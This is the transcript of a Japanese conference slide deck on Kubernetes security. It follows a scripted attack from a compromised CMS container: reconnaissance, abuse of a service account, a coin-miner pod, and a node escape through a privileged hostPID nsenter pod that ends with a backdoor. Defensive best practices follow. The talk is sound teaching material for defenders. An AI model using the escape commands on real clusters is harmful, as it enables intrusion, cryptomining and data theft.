Upgrade to Pro — share decks privately, control downloads, hide ads and more …

攻撃しながら考えるKubernetesセキュリティ / Considering Kubernetes Security While Attacking 2

fujiihda
January 15, 2021

攻撃しながら考えるKubernetesセキュリティ / Considering Kubernetes Security While Attacking 2

WASNight 2021 Kick-off OWASP Session

fujiihda

January 15, 2021
Tweet

More Decks by fujiihda

Other Decks in Technology

Transcript

  1. @fujiihda
    2021/1/15
    WASNight 2021 Kick-off
    OWASP Session
    攻撃しながら考えるKubernetes
    セキュリティ

    View Slide

  2. 2
    2
    @fujiihda
    Whois
    • 役割:インフラエンジニア
    • 仕事:k8sを活用する組織のリサーチチーム
    • 経歴:OSS → OSとコンテナ → 現職
    • 趣味:コミュニティ活動
    ゆっきー
    (Hideyuki Fujii)
    @fujiihda

    View Slide

  3. 3
    @fujiihda










































    全然わからない
    俺たちは雰囲気で
    k8sを以下略
    k8s k8s





    Falco

    View Slide

  4. 4
    4
    @fujiihda
    本発表はコミュニティの皆さんのセキュリティ
    向上を目的としています。
    攻撃手法を題材として扱いますが違法なクラッ
    キングを推進するものではありません。絶対に
    悪用しないでください。
    また、発表内容は個人の見解です。所属する企
    業やコミュニティの立場、意見を代表するもの
    ではありません。
    【重要】はじめに

    View Slide

  5. 5
    @fujiihda
    本日の流れ
    1. はじめに
    2. コンテナセキュリティ基礎
    3. シナリオを使ったコンテナへの攻撃と防御

    View Slide

  6. 6
    @fujiihda
    k8sはセキュリティを
    きちんと考慮されない
    ままで導入されがち
    なのでは!?

    View Slide

  7. 7
    7
    @fujiihda
    ぜんぜんわからない 俺たちは雰囲気でコンテナをやっている
    何も考えずに
    ← は NG
    何も考えずに
    ← は NG
    何も考えずに
    ← は NG

    View Slide

  8. 8
    8
    @fujiihda
    ぜんぜんわからない 俺たちは雰囲気でk8sをやっている
    PodSecurity
    Policy?
    Service
    Account?
    特権コンテナ?
    メタデータ
    アクセス?
    脆弱性
    診断は?

    View Slide

  9. 9
    @fujiihda
    皆さんに伝えたいもの
    • 「これは危険だ」という知識
    • 脅威に対する考え方
    • コンテナへの攻撃の全体像

    View Slide

  10. 10
    @fujiihda
    コンテナセキュリティ基礎

    View Slide

  11. 11
    11
    @fujiihda
    基本1:コンテナ特有のセキュリティリスクと対策

    View Slide

  12. 12
    12
    @fujiihda
    (参考) 各リスクの内訳

    View Slide

  13. 13
    13
    @fujiihda
    基本2:OSとコンテナランタイムの最新化
    • OSやコンテナランタイムを最新に保つことでしか対応困難な脆弱性もある
    • システムを構成する要素は脆弱性はツールを使うなどして即把握・即対処

    View Slide

  14. 14
    14
    @fujiihda
    基本3:マルチテナント構成時はリスクを考慮
    • コンテナは、一般的な構成では、ホストと同じカーネルで動くプロセス
    • コンテナは、一般的にVMと比較すると他のコンテナやホストから影響を
    受けやすい
    → ただし、いまは様々な選択肢が提供されていて改善されつつある
    (今日はこれらには言及しません)

    View Slide

  15. 15
    15
    @fujiihda
    基本4:ケーパビリティやseccompでAttack Surface最小化
    • ケーパビリティ
    – root権限を目的別に約 30 個に分割した特権機能群
    – 必要に応じて付与 / 剥奪 (デフォルトから剥奪も検討)
    • seccomp
    – プロセスが利用できるシステムコールを制限できる
    – コンテナでは、コンテナ内のプロセスが実行するシステムコール
    を制限できる
    – 定義したシステムコールが呼ばれたときの制御を、許可、拒否、
    終了などのアクションから選択でき、種類だけでなく、引数との
    組み合わせも定義可能
    多層防御の考えのもと重ね
    掛けを基本として、要件や
    粒度に応じて使い分ける
    でもケーパビリ
    ティは最小権
    限にすべきか
    なぁ
    セキュリティ実
    践ガイドに詳細
    が書いてある

    View Slide

  16. 16
    @fujiihda
    シナリオ:
    k8s固有のセキュリティ

    View Slide

  17. 17
    17
    @fujiihda
    (参考) ここから扱うネタは定番ネタ
    • 某検索エンジンで 「Kubernetes Attack」 などで検索

    View Slide

  18. 18
    18
    @fujiihda
    防御側
    • セキュリティは後回しで、塩漬け文化があり、
    – クラウドベンダのマネージドk8s上に
    – セキュリティ脆弱性がよく話題になるCMSをデプロイした
    – CMSには後日深刻な脆弱性が見つかったが対処していない
    – CMSはインターネットに公開されている
    • CMSは付き合いのあるお客様向けの情報発信に使っているものの、
    重要度は低く、CMS上には公開情報以外載せていない
    • コスト優先でマルチテナント構成をとっており、同じNode上に別部門
    の管理する 個人情報を含むシステムが動いている

    View Slide

  19. 19
    19
    @fujiihda
    (参考) 攻撃側
    • 攻撃者種別:スクリプトキディ
    • 攻撃対象:無差別 (クラウドベンダの利用するIPアドレスレンジを中心に、
    IPアドレスを自動スキャンするツールを使うことで脆弱性のあるIPアドレス
    に対して無差別に攻撃)
    • 攻撃手段:既知脆弱性を悪用するツールを用いるのみで高度な技術なし
    • 攻撃目的:お金 (マイニングと個人情報売買)
    • 前提条件:CMSの脆弱性をツールで突いてシェルを取った
    (コンテナのプロセスの権限で任意のコマンドを実行できる)

    View Slide

  20. 20
    20
    @fujiihda
    わたしは誰だ… ここはどこだ……
    $ id
    uid=1000(cms) gid=1000(cms) groups=1000(cms)
    $ ps -ef
    UID PID PPID C STIME TTY TIME CMD
    cms+ 1 0 0 13:11 ? 00:00:00 /usr/bin/dumb-
    init /usr/local/sbin/entrypoint.sh
    cms+ 7 1 0 13:11 ? 00:00:00 node /cms/app
    cms+ 18 7 0 14:11 pts/0 00:00:00 /bin/bash
    cms+ 25 18 0 14:47 pts/0 00:00:00 ps -ef
    $ df -h
    (省略)
    tmpfs 3.7G 12K 3.7G 1% /run/secrets/kubernetes.io/serviceaccount
    (省略)

    View Slide

  21. 21
    21
    @fujiihda
    パスワードと/rootへのアクセス
    $ cat /etc/shadow
    cat: /etc/shadow: Permission denied
    $ ls -l /root
    ls: cannot open directory '/root': Permission denied

    View Slide

  22. 22
    22
    @fujiihda
    ほう kubeですか たいしたものですね
    $ cd /tmp; curl -Lo amicontained https://github.com/genuinetools/amicontained/releases/download/v0.4.9/a
    micontained-linux-amd64; chmod 755 amicontained; ./amicontained
    (省略)
    Container Runtime: kube
    Has Namespaces:
    pid: true
    user: false
    AppArmor Profile: docker-default (enforce)
    Capabilities:
    BOUNDING -
    > chown dac_override fowner fsetid kill setgid setuid setpcapnet_bind_service net_raw sys_chroot mknod a
    udit_write setfcap
    Seccomp: disabled
    Blocked Syscalls (29):
    SYSLOG SETUID SETGID SETSID SETREUID SETREGID SETGROUPS SETRESUID SETRESGID VHANGUP PIVOT_ROOT A
    CCT SETTIMEOFDAY UMOUNT2 SWAPON SWAPOFF REBOOT SETHOSTNAME SETDOMAINNAME INIT_MODULE DELETE_MODULE LOOKU
    P_DCOOKIE FUTIMESAT UTIMENSAT FANOTIFY_INIT OPEN_BY_HANDLE_AT FINIT_MODULE KEXEC_FILE_LOAD BPF
    Looking for Docker.sock

    View Slide

  23. 23
    23
    @fujiihda
    環境変数を見てみる
    $ env | grep -i kube
    KUBERNETES_PORT_443_TCP_PROTO=tcp
    KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1
    KUBERNETES_PORT=tcp://10.100.0.1:443
    KUBERNETES_SERVICE_PORT_HTTPS=443
    KUBERNETES_PORT_443_TCP_PORT=443
    KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443
    KUBERNETES_SERVICE_PORT=443
    KUBERNETES_SERVICE_HOST=10.100.0.1

    View Slide

  24. 24
    24
    @fujiihda
    k8sのバージョンを見てみる
    $ curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version
    {
    "major": "1",
    "minor": "15+",
    "gitVersion": "v1.15.12-■■■■■■■■",
    "gitCommit": "■■■■■■■■■■■■■■■■■■",
    "gitTreeState": "clean",
    "buildDate": "2020-06-01■■■■■■■■",
    "goVersion": "go1.12.17b4",
    "compiler": "gc",
    "platform": "linux/amd64"
    }

    View Slide

  25. 25
    25
    @fujiihda
    kubectlしてみる
    $ export PATH=/tmp:$PATH
    $ cd /tmp; curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.15
    .12/bin/linux/amd64/kubectl; chmod 755 kubectl
    $ kubectl get namespaces
    Error from server (Forbidden): namespaces is forbidden: User "system:serviceaccount
    :prd:default" cannot list resource "namespaces" in API group "" at the cluster scop
    e

    View Slide

  26. 26
    26
    @fujiihda
    現在Podを作成できるか
    $ kubectl auth can-i create pods
    yes

    View Slide

  27. 27
    27
    @fujiihda
    悪意のあるPodを作成
    $ kubectl apply -f c0inminer.yaml
    悪意のあるyamlを書
    いてPodを作成

    View Slide

  28. 28
    28
    @fujiihda
    Nodeに権限昇格してバックドアを作成
    $ kubectl run r00tc0ntainer --restart=Never -ti --rm --image lol --overrides
    '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":
    ["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,“
    securityContext":{"privileged":true}}]}}’
    r00tc0ntainer / #
    r00tc0ntainer / # docker run -d backd00r
    Nodeの特権になった
    あとは個人情報を探
    そう (省略)
    バックドア作成した

    View Slide

  29. 29
    29
    @fujiihda
    なにをされたのか
    • アプリケーションの脆弱性を悪用されてシェルを取られた
    (任意コード実行可能だった)
    • Service Accountを悪用されて、k8sにマイニング用のPodを建てられた
    • Service Accountを悪用されて、k8sにホストのroot権限を持つコンテナを
    建てられた (権限昇格)
    – そしてバックドアを仕込まれた
    • (今日のデモ内では攻撃されなかったが) 攻撃者が同じNode上の
    他のコンテナに入っている個人情報にアクセス可能になった

    View Slide

  30. 30
    30
    @fujiihda
    なぜ攻撃が成立したか
    • コンテナとして動かしていたアプリケーションに任意の
    コード実行の脆弱性があった
    • k8sの各種機能が適切に設定されていなかった
    – Service Accountが最小権限に設定されていなかった
    – コンテナ内でできることが限定されていなかった
    – 特権コンテナが禁止されていなかった
    – あらかじめ許可されていないコンテナが起動できた
    • 脆弱なコンテナがマルチテナント構成の同一ホスト上あった

    View Slide

  31. 31
    @fujiihda
    今回の原因はk8sの
    設定不備です。k8sの
    脆弱性ではありません。

    View Slide

  32. 32
    32
    @fujiihda
    対策
    • (今回は悪用されなかったが) Kubernetesは最新化
    • k8sの各種機能を適切に設定してセキュリティを高める
    – Service Accountは最小権限
    – コンテナ内でできることは限定する
    – 特権コンテナはなるべく禁止
    – 信頼できるコンテナのみが起動できるようにする
    • マルチテナントにする際はリスクを考慮してセキュリティ徹底

    View Slide

  33. 33
    33
    @fujiihda
    デモに有効と考えるベストプラクティス
    • アプリの脆弱性を是正
    – CI/CDの仕組みのなかに脆弱性診断を導入
    – 環境変数暗号化
    • Service Accountは最小権限
    • コンテナ内でできることを限定
    – コンテナ内で ps や curl などのできないコンテナイメージの採用
    – 書き込みが不要なコンテナであればリードオンリー
    • PodSecurityPolicy設定
    – (特別な理由がない限り) 特権コンテナ基本禁止
    – 最小権限を徹底してコンテナ作成などの不要な権限を与えない
    • あらかじめ許可された信頼できるコンテナのみに起動を許可
    – Binary Authorizationなどの仕組みの導入
    重要!

    View Slide

  34. 34
    34
    @fujiihda
    個人的ベストプラクティスの一部 (前ページ掲載除く)
    • メタデータアクセス制御 (169.254.169.254 アクセス禁止)
    • Namespaceは専門知識を持った人が対応
    • RBACも専門知識を持った人が対応
    • 必要な通信のみを許可
    • 不要ならホストのボリュームをマウントしない
    • 徹底的にIaCで自動化
    • 高いセキュリティレベルが求められるならクラスタ分割検討
    • 悪意を即検知して通知/是正するセキュリティの仕組みの導入
    重要!

    View Slide

  35. 35
    @fujiihda
    責任共有モデルでは
    k8sを適切に設定する
    のはユーザの責任

    View Slide

  36. 36
    @fujiihda
    • アプリからk8sに至るまでを最新化
    • k8sのセキュリティを高める機能を適切に使用
    • ベストプラクティスはひととおり全部抑える
    • k8sのセキュリティを設定する責任はユーザ
    • マルチテナントはセキュリティリスクを考慮
    まとめ

    View Slide

  37. 37
    37
    @fujiihda
    Reference
    • 書籍:Docker/Kubernetes開発・運用のためのセキュリティ実践ガイド
    • 書籍:Kubernetes Security
    • 書籍:Container Security
    • KubeCon NA 2019 CTF:
    https://securekubernetes.com/
    • Kubernetes Security for Microservices:
    https://speakerdeck.com/rung/kubernetes-security-for-microservices/
    • Threat matrix for Kubernetes:
    https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
    • NIST SP800-190 Application Container Security Guide:
    https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf
    • CIS Benchmark原本:
    https://www.cisecurity.org/benchmark/kubernetes/
    • CIS Benchmark GKE版:
    https://www.cisecurity.org/cis-benchmarks/
    • CIS Benchmark EKS版:
    https://aws.amazon.com/jp/blogs/containers/introducing-cis-amazon-eks-benchmark/

    View Slide